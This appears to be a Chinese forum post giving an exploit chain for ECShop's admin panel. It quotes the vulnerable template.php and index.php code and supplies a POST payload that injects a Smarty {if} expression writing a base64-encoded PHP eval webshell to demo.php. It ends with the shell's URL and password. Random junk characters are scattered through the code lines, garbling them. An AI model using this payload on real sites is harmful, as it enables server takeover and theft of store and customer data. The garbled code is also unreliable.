Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
3 ~' [* X3 Z) H- [
5 |9 X+ M: n* k4 z6 y) \# t而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
) Q. k1 o" O0 a) A但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
, g) U' z# t2 Q5 ~. iadmin/template.php

8 ~/ r/ t' k* j. t& l! G1 if ($_REQUEST['act'] == 'update_library')
0 q- I  O+ p4 H
8 H3 a# w6 [. l8 m$ r* G( R5 V2   
+ E, z0 }/ g' ^: {; X
3 ^# q7 C$ U0 L) d" N6 ]1 ]3 {
" m) s. ]- f7 w: R8 C9 s8 Z
( a8 K- d* C9 Q4     check_authz_json('library_manage');

5   

6     $html = stripslashes(json_str_iconv($_POST['html']));
6 K# i- ]; K, @2 c1 o8 H
7   

; I. f* n0 g' t4 T2 T" X/ ?" }8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
4 y  @7 y% [* \) B
" J7 l: ~1 |1 f+ q9   
% I) v7 ~7 a5 H
* U& j& U4 ^, y% [10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

11   

) ~0 A# h) R5 l8 [: \" G2 |12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

13   

14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

15     {
" r, P& n" Y9 ~  z; n/ o5 g2 F% p
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

: Q; A: C  v; M17         make_json_result('', $_LANG['update_lib_success']);

18     }

1 P3 e6 A' O) q! H/ k19     else

- h- K0 ^2 Y! l# f, _20     {

21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
7 _1 D4 g# f) y6 ~4 V
22     }

7 F: A% @; K0 M( W1 F; s' R" ]23 }
% J# ?- q" s* L" X" h
那么找个比较方便调用了模板的文件
index.php

1 if ($act == 'cat_rec')

2   
+ s. I! B' ~$ a( s+ L2 s
: s3 ^. \, y1 \! i% @( N! u( l3 {

4   

# @4 s5 ^0 h0 e% c/ G5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

6   

2 S9 G1 @  y* C8 A% {1 S7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

0 n. D* P1 I- T  U: D8   
3 y5 c0 W% q5 d. Q' B: P
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   

# P. n6 D0 z$ H! ]; Z6 Y11     include_once('includes/cls_json.php');
/ X! z+ G4 H; |% i- n
; ^) r# H& P: r12   
) f: I  Y) X) D+ B
13     $json = new JSON;

14   
# y* Q# p1 o; D( X+ j3 Z) T
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
, ?$ p9 b+ a  ~3 j2 G6 i
6 o2 d% i6 a1 O  U: G16   

+ z4 g, P8 ~2 {$ G; C9 o17     $children = get_children($cat_id);
" O3 W$ m" y2 j4 S4 j
3 [. {$ ]' F1 w' y18   

  O( Q4 k) y% P! t! p" B  H, y19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

" S- Y6 r; z: Z7 n2 b) `) E20   
2 X  l2 X! |& F6 b/ o
" @: l* N5 `7 M21     $smarty->assign('cat_rec_sign', 1);
3 \6 n$ L3 T) p# Q; d/ |1 P' {
, n7 l2 H# {1 O. }22   
* Y1 f6 j0 ]1 p! z
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
  r& ], v; T' j9 f) n& P$ A3 a* D
2 X7 X* P+ ^$ o% g9 A24   

25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
, T0 `) D, K; H1 ?5 V/ ~7 Z) s
26   
) I3 H! c/ W* b
27         echo $rec_array[$rec_type];

6 _; R% B( \/ S8 E28   
9 u# e( B+ A! k. Q9 v# |
) q3 C+ W9 ]1 D# t8 S/ r* e29     die($json->encode($result));

30   
( J4 L$ M# Q# G- z* B$ r" O
31 }

那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
2 f( G6 r, g) u/ k$ q8 q) I1 K; F, }, l) HPost内容：

​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
# H+ {" [, z6 }% W  E) f% e; D
' e8 I" z7 Z- R& t% X然后访问http://localhost/ec/index.php?act=cat_rec

shel地址：http://localhost/ec/demo.php
密码c

, e# |3 F) d# ~+ P" k; Q, M